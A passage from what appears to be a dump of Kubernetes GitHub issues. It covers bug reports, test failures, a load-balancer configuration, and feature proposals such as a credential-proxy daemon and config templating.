:{\\\ creationtimestamp\\\ :null,\\\ labels\\\ :{\\\ name\\\ :\\\ nginx-undo\\\ }},\\\ spec\\\ :{\\\ containers\\\ : {\\\ name\\\ :\\\ nginx\\\ ,\\\ image\\\ :\\\ gcr.io/google-containers/nginx:1.7.9\\\ ,\\\ ports\\\ : {\\\ containerport\\\ :80} ,\\\ resources\\\ :{}} }},\\\ strategy\\\ :{}},\\\ status\\\ :{}}\ \ }},\ spec\ :{\ replicas\ :0,\ selector\ :{\ matchlabels\ :{\ name\ :\ nginx-undo\ }},\ template\ :{\ metadata\ :{\ creationtimestamp\ :null,\ labels\ :{\ name\ :\ nginx-undo\ }},\ spec\ :{\ containers\ : {\ name\ :\ nginx\ ,\ image\ :\ gcr.io/google-containers/nginx:test-cmd\ ,\ ports\ : {\ containerport\ :80,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ terminationmessagepolicy\ :\ file\ ,\ imagepullpolicy\ :\ ifnotpresent\ } ,\ restartpolicy\ :\ always\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ securitycontext\ :{},\ schedulername\ :\ default-scheduler\ }},\ strategy\ :{\ type\ :\ rollingupdate\ ,\ rollingupdate\ :{\ maxunavailable\ :1,\ maxsurge\ :1}},\ revisionhistorylimit\ :0,\ paused\ :true},\ status\ :{\ observedgeneration\ :9,\ replicas\ :4,\ updatedreplicas\ :2,\ unavailablereplicas\ :4,\ conditions\ : {\ type\ :\ available\ ,\ status\ :\ false\ ,\ lastupdatetime\ :\ 2017-01-25t17:47:27z\ ,\ lasttransitiontime\ :\ 2017-01-25t17:47:27z\ ,\ reason\ :\ minimumreplicasunavailable\ ,\ message\ :\ deployment does not have minimum availability.\ } }}\r    \r \r i've switched that to a non-cascading delete in order to re-enable the tests, but we need to figure out why the delete is now hanging, fix the hang, and re-enable the cascading delete

is this a bug report or feature request?    choose one :\r bug\r \r   kubernetes version    use  kubectl version  :\r v1.7.0-alpha.0.1397+e3f6f14bf0d1af-dirty\r \r   what happened  :\r on node stop docker, then node ready conditions will become notready;  then stop kubelet on node, node ready conditions will become 'unknown', but node only have a taint 'node.alpha.kubernetes.io/notready'\r \r   what you expected to happen  :\r node should both taint 'node.alpha.kubernetes.io/notready:noexecute' & 'node.alpha.kubernetes.io/unreachable:noexecute'\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. enable 'taintbasedevictions' in controller manager\r 2. stop container on node\r 3. check node taint\r 4. stop kubelet on node\r 5. check node taint\r node detail: http://pastebin.test.redhat.com/466570\r \r   anything else we need to know  :\r if node ready conditions change from 'ready' to 'unknown', node have correct taint 'node.alpha.kubernetes.io/unreachable:noexecute'

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   what happened  :\r kubelet on windows doesn't work with windows cni plugins & the current code uses linux specifc tools.\r a pr is on the way, which would take care of adding windows specific code and let kubelet work seamlessly across windows and linux with same user experience\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

liveness prober timeout is not passed to runtime.   see  here  https://github.com/kubernetes/kubernetes/blob/190ee708a664e0ac86003a4e5b153597b4011580/pkg/kubelet/kuberuntime/kuberuntime_container.go l766  and  here  https://github.com/kubernetes/kubernetes/blob/190ee708a664e0ac86003a4e5b153597b4011580/pkg/kubelet/prober/prober.go l236  .\r \r although dockershim doesn't really support  execsync  timeout now, we should still pass the correct timeout, so that the other runtime which support it could work properly.\r \r @feiskyer @yujuhong @timstclair

i deploy kubernetes ha master by haproxy and keepalive, but the node get error whe updating status.\r i see the kubelet_node_status.go source code, the nodestatusupdateretry\r \r the kubelet exception:\r    \r error updating node status, will retry: error getting node \ 172.20.0.113\  : get https://172.20.0.224:9443/api/vi/nodes/172.20.0.113: unexpected eof\r    \r \r kubernetes version\r    \r kubernetes 1.8\r    \r kernel \r    \r linux 3.10.0-514.el7.x86_64\r    \r install tools：kubernetes binary\r \r haproy conf\r    \r global\r     daemon\r     chroot      /var/lib/haproxy\r     pidfile     /var/run/haproxy.pid\r     maxconn     4000\r     user        haproxy\r     group       haproxy\r     stats socket /var/lib/haproxy/stats\r     log 127.0.0.1 local0 err\r     log 127.0.0.1 local1 warning\r \r defaults\r     mode http\r     log global\r     option tcplog\r     retries 3               \r     timeout connect 5000ms\r     timeout client 10000ms\r     timeout server 50000ms\r \r listen k8s_server_6443\r     bind 172.20.0.224:9443\r     mode tcp\r     option tcplog\r     option tcp-check\r     balance roundrobin\r     server k8s-master-1 172.20.0.113:6443  check\r     server k8s-master-2 172.20.0.114:6443  check\r     server k8s-master-3 172.20.0.115:6443  check\r \r listen k8s_server_8080\r     bind 172.20.0.224:9080\r     mode tcp\r     option tcplog\r     option tcp-check\r     balance roundrobin\r     server k8s-master-1 172.20.0.113:8080  check\r     server k8s-master-2 172.20.0.114:8080  check\r     server k8s-master-3 172.20.0.115:8080  check\r     \r    \r keepalive conf\r    \r ! configuration file for keepalived\r \r global_defs {\r    notification_email {\r    }\r    router_id lvs_devel01\r }\r \r vrrp_instance vi_1 {\r     state master\r     interface team1\r     virtual_router_id 51\r          advert_int 1\r     authentication {\r         auth_type pass\r         auth_pass 1111\r     }\r     virtual_ipaddress {\r        172.20.0.224:/24\r     }\r \r }\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r \r \r   what happened  :\r \r when i run the command like this:\r  make test-e2e-node test_args=\ --kubelet-flags=--fail-swap-on=false\  focus=\ should report resource usage through the stats api\  \r to test e2e_node cases, but this test failed:\r    \r • failure  115.493 seconds \r  k8s.io  summary api\r /home/lcf/goproject/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:643\r   when querying /stats/summary\r   /home/lcf/goproject/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/summary_test.go:40\r     should report resource usage through the stats api  it \r     /home/lcf/goproject/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/summary_test.go:51\r \r     timed out after 60.000s.\r     expected\r         <string>: summary\r     to match fields: {\r       .pods e2e-tests-summary-test-w9xb6::stats-busybox-1 .containers busybox-container .cpu:\r     \texpected\r     \t    <string>: cpustats\r     \tto match fields: {\r     \t.usagenanocores:\r     \t\texpected\r     \t\t    <uint64>: 27127\r     \t\tto be >=\r     \t\t    <int>: 100000\r     \t}\r     \t, .pods e2e-tests-summary-test-w9xb6::stats-busybox-1 .containers busybox-container .rootfs:\r     \texpected\r     \t    <string>: fsstats\r     \tto match fields: {\r     \t.usedbytes:\r     \t\texpected\r     \t\t    <uint64>: 0\r     \t\tto be >=\r     \t\t    <int64>: 1000\r     \t}\r     \t, .pods e2e-tests-summary-test-w9xb6::stats-busybox-1 .containers busybox-container .logs:\r     \texpected\r     \t    <string>: fsstats\r     \tto match fields: {\r     \t.usedbytes:\r     \t\texpected\r     \t\t    <uint64>: 0\r     \t\tto be >=\r     \t\t    <int64>: 1000\r     \t}\r     \t ,   .pods e2e-tests-summary-test-w9xb6::stats-busybox-0 .containers busybox-container .cpu:\r     \texpected\r     \t    <string>: cpustats\r     \tto match fields: {\r     \t.usagenanocores:\r     \t\texpected\r     \t\t    <uint64>: 39984\r     \t\tto be >=\r     \t\t    <int>: 100000\r     \t}\r     \t, .pods e2e-tests-summary-test-w9xb6::stats-busybox-0 .containers busybox-container .rootfs:\r     \texpected\r     \t    <string>: fsstats\r     \tto match fields: {\r     \t.usedbytes:\r     \t\texpected\r     \t\t    <uint64>: 0\r     \t\tto be >=\r     \t\t    <int64>: 1000\r     \t}\r     \t, .pods e2e-tests-summary-test-w9xb6::stats-busybox-0 .containers busybox-container .logs:\r     \texpected\r     \t    <string>: fsstats\r     \tto match fields: {\r     \t.usedbytes:\r     \t\texpected\r     \t\t    <uint64>: 0\r     \t\tto be >=\r     \t\t    <int64>: 1000\r     \t}\r     \t , .pods e2e-tests-summary-test-w9xb6::stats-busybox-0 .cpu:\r     \texpected\r     \t    <string>: cpustats\r     \tto match fields: {\r     \t.usagenanocores:\r     \t\texpected\r     \t\t    <uint64>: 38525\r     \t\tto be >=\r     \t\t    <int>: 100000\r     \t}\r     \t  \r     }\r    \r \r i checked kubelet logs, some logs are:\r \r    \r 2月 06 17:37:56 localhost.localdomain kubelet 28541 : i0206 17:37:56.265852   28541 reflector.go:240  listing and watching  v1.node from k8s.io/kubernetes/pkg/kubelet/kubelet.go:474\r 2月 06 17:37:56 localhost.localdomain kubelet 28541 : e0206 17:37:56.269360   28541 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:465: failed to list  v1.service: get http://localhost:8080/api/v1/services?limit=500&resourceversion=0: dial tcp  ::1 :8080: getsockopt: connection refused\r 2月 06 17:37:56 localhost.localdomain kubelet 28541 : e0206 17:37:56.269414   28541 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:474: failed to list  v1.node: get http://localhost:8080/api/v1/nodes?fieldselector=metadata.name%3dlocalhost.localdomain&limit=500&resourceversion=0: dial tcp  ::1 :8080: getsockopt: connection refused\r 2月 06 17:37:56 localhost.localdomain kubelet 28541 : e0206 17:37:56.269462   28541 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get http://localhost:8080/api/v1/pods?fieldselector=spec.nodename%3dlocalhost.localdomain&limit=500&resourceversion=0: dial tcp  ::1 :8080: getsockopt: connection refused\r 2月 06 17:37:56 localhost.localdomain kubelet 28541 : i0206 17:37:56.269501   28541 iptables.go:589  couldn't get iptables-restore version; assuming it doesn't support --wait\r 2月 06 17:37:56 localhost.localdomain kubelet 28541 : w0206 17:37:56.271010   28541 kubelet_network.go:139  hairpin mode set to \ promiscuous-bridge\  but kubenet is not enabled, falling back to \ hairpin-veth\ \r 2月 06 17:37:56 localhost.localdomain kubelet 28541 : i0206 17:37:56.271048   28541 kubelet.go:571  hairpin mode set to \ hairpin-veth\ \r 2月 06 17:37:56 localhost.localdomain kubelet 28541 : i0206 17:37:56.275561   28541 client.go:80  connecting to docker on unix:///var/run/docker.sock\r 2月 06 17:37:56 localhost.localdomain kubelet 28541 : i0206 17:37:56.275591   28541 client.go:109  start docker client with request timeout=2m0s\r 2月 06 17:37:56 localhost.localdomain kubelet 28541 : w0206 17:37:56.277260   28541 cni.go:171  unable to update cni config: no networks found in /home/lcf/goproject/src/k8s.io/kubernetes/_output/local/go/bin/cni/net.d\r 2月 06 17:37:56 localhost.localdomain kubelet 28541 : i0206 17:37:56.279515   28541 iptables.go:589  couldn't get iptables-restore version; assuming it doesn't support --wait\r    \r    \r 2月 06 17:38:14 localhost.localdomain kubelet 28541 : i0206 17:38:14.403426   28541 docker_service.go:441  setting cgroup parent to: \ /kubepods/burstable/pod722bc1fc-0b21-11e8-a40d-525400772504\ \r 2月 06 17:38:15 localhost.localdomain kubelet 28541 : i0206 17:38:15.019631   28541 server.go:796  head /healthz:  17.95µs  200   go-http-client/1.1  127.0.0.1:46091 \r 2月 06 17:38:15 localhost.localdomain kubelet 28541 : i0206 17:38:15.240883   28541 factory.go:105  error trying to work out if we can handle /kubepods/burstable/pod719cf0ab-0b21-11e8-a40d-525400772504/05d3ef5ea5fdab6305d33dcbaca699377df7959d6eb8203c02078de6b28b507e: error inspecting container: <nil>\r 2月 06 17:38:15 localhost.localdomain kubelet 28541 : i0206 17:38:15.240909   28541 factory.go:116  factory \ docker\  was unable to handle container \ /kubepods/burstable/pod719cf0ab-0b21-11e8-a40d-525400772504/05d3ef5ea5fdab6305d33dcbaca699377df7959d6eb8203c02078de6b28b507e\ \r 2月 06 17:38:15 localhost.localdomain kubelet 28541 : i0206 17:38:15.240927   28541 factory.go:105  error trying to work out if we can handle /kubepods/burstable/pod719cf0ab-0b21-11e8-a40d-525400772504/05d3ef5ea5fdab6305d33dcbaca699377df7959d6eb8203c02078de6b28b507e: /kubepods/burstable/pod719cf0ab-0b21-11e8-a40d-525400772504/05d3ef5ea5fdab6305d33dcbaca699377df7959d6eb8203c02078de6b28b507e not handled by systemd handler\r 2月 06 17:38:15 localhost.localdomain kubelet 28541 : i0206 17:38:15.240934   28541 factory.go:116  factory \ systemd\  was unable to handle container \ /kubepods/burstable/pod719cf0ab-0b21-11e8-a40d-525400772504/05d3ef5ea5fdab6305d33dcbaca699377df7959d6eb8203c02078de6b28b507e\ \r 2月 06 17:38:15 localhost.localdomain kubelet 28541 : i0206 17:38:15.240949   28541 factory.go:112  using factory \ raw\  for container \ /kubepods/burstable/pod719cf0ab-0b21-11e8-a40d-525400772504/05d3ef5ea5fdab6305d33dcbaca699377df7959d6eb8203c02078de6b28b507e\ \r 2月 06 17:38:15 localhost.localdomain kubelet 28541 : w0206 17:38:15.241154   28541 container.go:393  failed to create summary reader for \ /kubepods/burstable/pod719cf0ab-0b21-11e8-a40d-525400772504/05d3ef5ea5fdab6305d33dcbaca699377df7959d6eb8203c02078de6b28b507e\ : none of the resources are being tracked.\r 2月 06 17:38:15 localhost.localdomain kubelet 28541 : i0206 17:38:15.241172   28541 manager.go:970  added container: \ /kubepods/burstable/pod719cf0ab-0b21-11e8-a40d-525400772504/05d3ef5ea5fdab6305d33dcbaca699377df7959d6eb8203c02078de6b28b507e\   aliases:   , namespace: \ \  \r 2月 06 17:38:15 localhost.localdomain kubelet 28541 : i0206 17:38:15.241269   28541 handler.go:325  added event &{/kubepods/burstable/pod719cf0ab-0b21-11e8-a40d-525400772504/05d3ef5ea5fdab6305d33dcbaca699377df7959d6eb8203c02078de6b28b507e 0001-01-01 00:00:00 +0000 utc containercreation {<nil>}}\r 2月 06 17:38:15 localhost.localdomain kubelet 28541 : i0206 17:38:15.241299   28541 manager.go:1027  destroyed container: \ /kubepods/burstable/pod719cf0ab-0b21-11e8-a40d-525400772504/05d3ef5ea5fdab6305d33dcbaca699377df7959d6eb8203c02078de6b28b507e\   aliases:   , namespace: \ \  \r 2月 06 17:38:15 localhost.localdomain kubelet 28541 : i0206 17:38:15.241312   28541 handler.go:325  added event &{/kubepods/burstable/pod719cf0ab-0b21-11e8-a40d-525400772504/05d3ef5ea5fdab6305d33dcbaca699377df7959d6eb8203c02078de6b28b507e 2018-02-06 17:38:15.241308593 +0800 cst m=+19.213202989 containerdeletion {<nil>}}\r    \r \r \r   is there some one else has the similar problem, or have some idea about it?  \r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r run  make test-e2e-node test_args=\ --kubelet-flags=--fail-swap-on=false\  focus=\ should report resource usage through the stats api\  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.2\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  : centos\r - install tools:docker-ce-17.06\r - others:\r

is this a bug report or feature request?  :\r \r bug report \r   what happened  :\r \r source bug, not functional at all.   gobindata is now 'gone'.\r \r   what you expected to happen  :\r  \r gobindata would be around forever.\r  \r \r we use gobindata in e2e  maybe other places  for embedding kubberentes components.  if we  ever  update it, it might be from a 3rd party github user that we dont trust/know  see https://twitter.com/francesc/status/961249107020001280?lang=en : \r \r    \r francesc on twitter\r twitter.com\r  📢  golang warninggo-bindata creator deleted their @github account and someone else created a new account with the same name.there's no guarantees that the new user has good intentions, so if you're using the repository make sure you verify it first!https://t.co/bohpyrnfvv— francesc  @francesc …\r     \r \r so, lets either internalize the functionality, or maybe even make a cncf/ fork of it since its a critical place where vulnerabilities can be injected if we dont trust it.

  \r \r from https://github.com/kubernetes/website/issues/7577. \r \r we used template hash value to create unique & idempotent resources names in workloads controllers. for example, deployment creates rs with name  <deployment-name>-<hash> . since 1.8, those names are safely encoded, e.g. becomes  <deployment-name>-<safe-encoded-hash> , but the hash value used  for pod-template-hash label isn't safely encoded. this makes them inconsistent and may cause user confusion. \r \r \r \r

 \r tracking for 1.13 release. this includes moving the object and the associated logic interacting with the object  e.g. skip attach & passing workload information  to beta\r \r  /cc @msau42 @saad-ali @jsafrane @ddebroy

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r   \r when using windows server 2019 as compute nodes, with   azure-vnet-cni-v1.0.16-rc2   or   v1.0.15  , some tests are consistently failing\r \r affected tests:\r \r      k8s.io  pods  should cap back-off at maxcontainerbackoff  slow  nodeconformance \r      k8s.io  pods  should have their auto-restart back-off timer reset on image update  slow  nodeconformance \r \r the tests are expecting the container to enter a   running   state before entering the   terminated   state  their command includes a non-existent command    /bin/sh -c sleep 5 /crash/missing   , so the containers are expected to fail , but the containers always transition from   waiting  reason:crashloopbackoff    to   terminated  reason:completed   .\r \r but when using   azure-vnet-cni-v1.0.14  , the tests no longer consistently fail; they randomly pass or fail, but when increasing the sleep period from 5 to 10 seconds as proposed by the pr https://github.com/kubernetes/kubernetes/pull/71950, the tests will consistently pass.\r \r note: this issue does not occur when using   l2bridge   flannel on windows, even when the sleep period is 5 seconds.\r \r related issue:  71949\r \r   what you expected to happen  :\r \r the container status should be updated faster, so the   running   state is not omitted if the container fails fast. the tests should then be able to pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r have a deployment as described above and run the mentioned tests. alternatively, spawn this pod and watch its container status and its transitions   https://paste.ubuntu.com/p/nfh7v7mz7m/  . after the back-off period expires, the container should enter a   running   state, but it doesn't.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \ v1.13.1\ \r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : windows server 2019 compute nodes, azure-vnet-cni-v1.0.16-rc2\r - kernel  e.g.  uname -a  :\r - install tools: aks-engine-v0.28.1\r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r gci-gce-scalability and all other gce performance tests\r \r   which test s  are failing  :\r list resource fails.\r \r   since when has it been failing  :\r run 1121352546590396419. 02:57 pdt 04/25/2019\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-scalability-gce gci-gce-scalability\r \r   reason for failure  :\r    \r to search the help text of gcloud commands, run:\r gcloud help -- search_terms\r attempt 4 failed to list sinks. retrying.\r error:  gcloud.logging.sinks.list  unrecognized arguments:  \r    \r after 4th attempt the script fails.\r \r   anything else we need to know  :\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r add the capability of build binaries  e.x kubectl  from container for platforms like darwin/amd64, windows/amd64\r \r   why is this needed  :\r the way we build darwin/windows kubectl today is to run following command:\r    \r make what=cmd/kubectl kube_build_platforms=\ darwin/amd64 windows/amd64\ \r    \r it directly compiling from the host, make its hard to work consistently cross hosts.\r instead, if we can compile from container, it will solve the portability problem.\r \r 

loas daemon proposal  a loas  local opaque auth service  daemon runs on each node. the loasd stores credentials that are needed by pods on a machine, but it does not let the pods see the credentials they are using.  this is the opaque part.  it is useful in several ways: 1. it allows giving a user the authority to run a pod that uses secrets that he is not allowed to see  requires additional infrastructure not described here.  2. it protects against file-reading exploits on servers in pods which would otherwise be able to find secrets. 3. in the case of an arbitrary code execution exploit of the process in the container:    1.  the secret is safe and does not necessarily have to be changed after the attacker is repelled    2. although the attacker can use the powers granted by the secret for a limited duration, they have to be used through a proxy, which can be configured to do audit logging, even if the remote service does not have adequate audit logging.  there are a few assumptions: - that the requests going through the loasd proxy are relatively low rate, so that excessive system resources are not consumed. - that the requests use http or https, and use one of several standard flavors of auth. - that the client code can either be told to use http between it and the proxy instead of https, or that if it must use https, that it can be taught to trust the cert of the proxy.  examples of services that might use this proxy  to be verified : - kubernetes api server - amazon s3 service - various gcp services - github - docker    implementation sketch  how credentials get into the loasd's memory is tbd.  probably it securely communicates with the apiserver, and perhaps also with a separate keystore.   however this works, it is a detail hidden from the container api.  \ normal\  pod traffic does not use the proxy.   only traffic that goes to certain ip addresses use the proxy.  iptables rules which are setup for each pod cause packets to go to loasd.  pods learn what dest ip addresses they should use for  given proxied service from an env var, e.g.  loasd_proxy_ip_for_k8s_api=xxx.xxx.xxx.xxx  or   loasd_proxy_ip_for_amazon_s3=yyy.yyy.yyy.yyy  these ip addresses are allocated from a special address range.  there will be considerable overlap between this code and the k8s services and portal code.  the loasd runs a http server.  it identifies which pod is talking to it based on the source ip of the request.  it identifies the ultimate destination of the traffic based on the dest ip of the request.  the dest ip is not the ultimate destination.  it is one of the special ip addresses mentioned just above.  the loasd maps checks if it has a \ recipe\  installed for that  sourceip, destip  pair.  if it does, then it uses that recipe to rewrite the http request to add authentication to it.  typically, this might mean injecting an  authorization  header, or replacing a dummy value in an existing  authorization  header, or in the case of amazon,  computing a signature and adding that to the request  http://docs.aws.amazon.com/amazons3/latest/dev/restauthentication.html .    scope of use  we might be able to make something generic enough that other cluster infrastructure people might want to use it and people would contribute \ recipes\  for other end points.  however, even if we only ever used this for authenticating pod to apiserver traffic, i think it still has value.

there's currently no way for prometheus to learn the expected number of replicas for a replication controller, a replica set or a deployment. it has some kubernetes logic to discover pods, nodes, etc., but apparently, if it doesn't return a target to monitor, it doesn't belong in their current service discovery code.  this would be equivalent to bns' shardinfo data.  maybe covered by these issues, maybe not:  https://github.com/kubernetes/kubernetes/issues/1625 https://github.com/kubernetes/kubernetes/issues/28156

summary    i would like us to get rid of custom entrypoint.sh scripts by supporting templating of in-container files.    the problem    despite current configmap features, it remains necessary for many or most container images under kubernetes to include \ entrypoint.sh\  scripts and/or customizations to the containerized applications which are particular to the kubernetes environment.  this results in forking of upstream images and limits portability of images between environments.  it also results in some very hackish startup scripts  see kelsey's \ init scripts for hipsters\  .  based on feedback through numerous issues and prs, the main shortcoming in configmap which would allow elimination of entrypoint scripts is the inability to include elements into a configuration file which are only available at deployment time.  for example, some services, such as clustered databases or load balancers, need to know the pod ip or the pod name as part of their configuration.    suggested solution: configtemplate    several proposals have been made to enhance configmaps to embrace templating functionality, and they have met with significant opposition.    my proposal is that we create a new object ... named here a \ configtemplate\  as placeholder until someone suggests a better one.  this template object would produce a file inside the deployed container, and could consume the downward api, secrets, and configmaps in order to populate a template.  this would be largely the same as pr  30502, but with a new object type instead of overloading configmaps.  at a sketch, a configtemplate for an ini-style config file could be inlined, and might look like this:      apiversion: extensions/v1beta1 kind: configtemplate metadata:   name: postgresnodeconf spec:   configmaprefs:      - name: patronimap      - name: productionmap   template:       data:          node_ip: ${status.podip}          dcs: ${patronimap.dcsconn}          cluster_name: ${productionmap.cluster}          memory: 128mb      note: what syntax we use for the exact substitutions is unimportant; let's just use whatever is easiest to support/code.  for inline versions, it is likely that only key: $value substitutions would be supported.  for more complex behavior, including differently-formatted configuration files, we'd support file-based substitution, ala:      apiversion: extensions/v1beta1 kind: configtemplate metadata:   name: postgresnodeconf spec:   configmaprefs:      - name: patronimap      - name: productionmap   template:        file: templates/pg.conf.prod      the file in question would be some kind of text file, with substitution tags in whatever syntax we decide on.  either way, the configtemplate would then be used inside pod definitions like this:      apiversion: v1 kind: pod metadata:   name: pgprodpod spec:   containers:     - name: postgres       image: jberkus/patroni       templates:          - name: postgresnodeconf            path: /etc/postgres/pgnode.conf        why not volumes?    you'll notice above that i'm not taking a regular \ volume\  approach to this. that's because in many cases ... including some cases i have personally ... the rendered config file needs to share directories with files which come from the container image.  doing this in a volume is complicated, and will lead  again  to custom entrypoint.sh scripts.  however, if there are strong reasons to handle this as a volume, that could be worked around.    templating engines and sidecars    there is some discussion about how templating would be handled and what templating engine we'd use.  this includes a suggestion by @thockin that this be entirely sidecar functionality.  i will argue that providing config file templates which allow containers to start inside kubernetes pods without modification is fairly central functionality to what kubernetes does, and as such the general template object should be a core kubernetes object.  however, i can certainly see the value of allowing the user to plug in their choice of rendering library for the actual template rendering for file-based templates; if nothing else, it would forestall a lot of arguments about syntax.  even in that case, however, i would like us to provide a built-in very simple template renderer, one which is capable of just swapping in upstream facts for some specific variable syntax, such as ${fact} or {{fact}} or similar, and nothing else.  such a built-in renderer would satisfy 90% of users, and not push the user into installing extra dependencies.    alternatives    i cannot personally think of any alternatives which will lead to the elimination of the majority of entrypoint.sh scripts.  suggestions welcome.    references   - pr  30502 - issue  29607 - issue  28560

we need to agree two things that can cross-cut the various installation approaches/tools: - a taint for master nodes  so pods can tolerate it   - a label for master nodes  so pods can select only master nodes .  for the toleration, the recommendation seems to be  dedicated=master:noschedule   for the label, i propose  kubernetes.io/role=master .  in the absence of a  --taints  kubelet flag  that would behave like  --labels   in 1.4, i'm going to try a controller which detects the  kubernetes.io/role=master  label, removes the  unschedulable: true  and applies the taint.  cc @philips for kube-aws, @zmerlynn for kube-up, @mikedanese for kubeadm /  --taints  flag

is this a request for help?  : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?  : vsphere, networking\r \r ---\r \r   is this a bug report or feature request?    choose one : bug\r \r   kubernetes version    use  kubectl version  : \r \r    \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:38:40z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:32:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : vsphere\r -   os    e.g. from /etc/os-release :  debian gnu/linux 8  jessie  \r -   kernel    e.g.  uname -a  :  linux kubernetes-minion-3 3.16.0-4-amd64  1 smp debian 3.16.7-ckt20-1+deb8u2  2016-01-02  x86_64 gnu/linux \r -   install tools  :  cluster/kube-up.sh \r -   others  : n/a\r \r \r   what happened  :\r \r prior to forcefully restarting the minion vm  increasing disk space , the network routing table was defined as:\r \r    \r root@kubernetes-minion-3:/home/kube  route -n\r kernel ip routing table\r destination     gateway         genmask         flags metric ref    use iface\r 0.0.0.0         172.20.144.1    0.0.0.0         ug    0      0        0 eth0\r 10.244.0.0      172.20.144.98   255.255.255.0   ug    0      0        0 eth0\r 10.244.1.0      0.0.0.0         255.255.255.0   u     0      0        0 cbr0\r 10.244.2.0      172.20.144.202  255.255.255.0   ug    0      0        0 eth0\r 172.17.0.0      0.0.0.0         255.255.0.0     u     0      0        0 docker0\r 172.20.144.0    0.0.0.0         255.255.255.0   u     0      0        0 eth0\r    \r \r after:\r \r    \r root@kubernetes-minion-3:/home/kube  route -n\r kernel ip routing table\r destination     gateway         genmask         flags metric ref    use iface\r 0.0.0.0         172.20.144.1    0.0.0.0         ug    0      0        0 eth0\r 10.244.1.0      0.0.0.0         255.255.255.0   u     0      0        0 cbr0\r 172.20.144.0    0.0.0.0         255.255.255.0   u     0      0        0 eth0\r    \r \r   what you expected to happen  :\r \r route tables should be stored in etcd  maybe?  and applied upon reconnecting to the master node || flanneld\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r start up a cluster, reboot a minion.\r \r   anything else do we need to know  :\r \r this makes me sad :

we'd like to deprecate alpha provisioning in 1.6. in order to make current deployments working after upgrade to 1.6 we need to deploy a default storageclass as part of installation/upgrade on azure so it will automatically provision volumes for pvcs marked with annotation  volume.alpha.kubernetes.io/storage-class  - the annotation will be ignored and default storage class must provision the volume instead.\r \r on gce and aws, we use addon manager to install the default storage class, see https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/storage-class. note that some extra code is probably needed to actually put the storage class into addons directory during installation, e.g. https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/container-linux/configure-helper.sh l1129 for manual script-based installation on gce or https://github.com/kubernetes/kubernetes/blob/master/cluster/saltbase/salt/kube-addons/init.sls l181 for salt-based installation.\r \r please make sure that:\r   a default storageclass is deployed during \ default\  installation.\r     it would be nice if admin could turn this off during installation  e.g.  as  export enable_default_storage_class=false  on gce \r   if any additional manual steps are needed to deploy the default storage class make sure they're documented in appropriate installation guide.\r

@pwittrock \r \r the following test has been failing consistently in 1.6 upgrade testing. for context, this test job is creating a 1.5 cluster, upgrading the master to 1.6, and then running 1.5 tests against it to ensure compatibility.\r \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:733\r mar  8 13:35:01.304: failed to find besteffort in qos class:\t\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1503\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.5-1.6-upgrade-master/4 k8sio-kubectl-client-k8sio-kubectl-describe-should-check-if-kubectl-describe-prints-relevant-information-for-rc-and-pods-conformance\r \r please look and determine if this is an issue for the 1.6 release. thanks!

